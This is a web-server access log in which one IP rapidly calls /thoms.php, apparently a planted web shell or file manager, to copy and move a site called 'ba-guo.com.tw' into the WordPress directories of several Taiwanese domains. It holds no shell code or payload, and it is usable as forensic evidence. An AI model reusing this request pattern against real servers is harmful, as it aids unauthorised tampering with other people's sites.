45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13445 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28598 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 16842 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?p=bft.com.tw%2F.tmb HTTP/1.1" 200 12032 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57832 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13762 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13473 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 16841 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fsync-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13272 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 13423 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17430 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13287 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:42 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 12058 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 12590 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13620 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17429 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13775 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17509 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:43 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 200 14352 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 200 28783 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 200 13302 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17511 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 200 12042 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 200 12595 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 200 59203 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 200 13623 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 200 13425 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:44 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17417 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=bioway88.com.tw%2F.well-known HTTP/1.1" 200 12585 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17416 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 200 12041 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 200 13451 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 200 13299 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
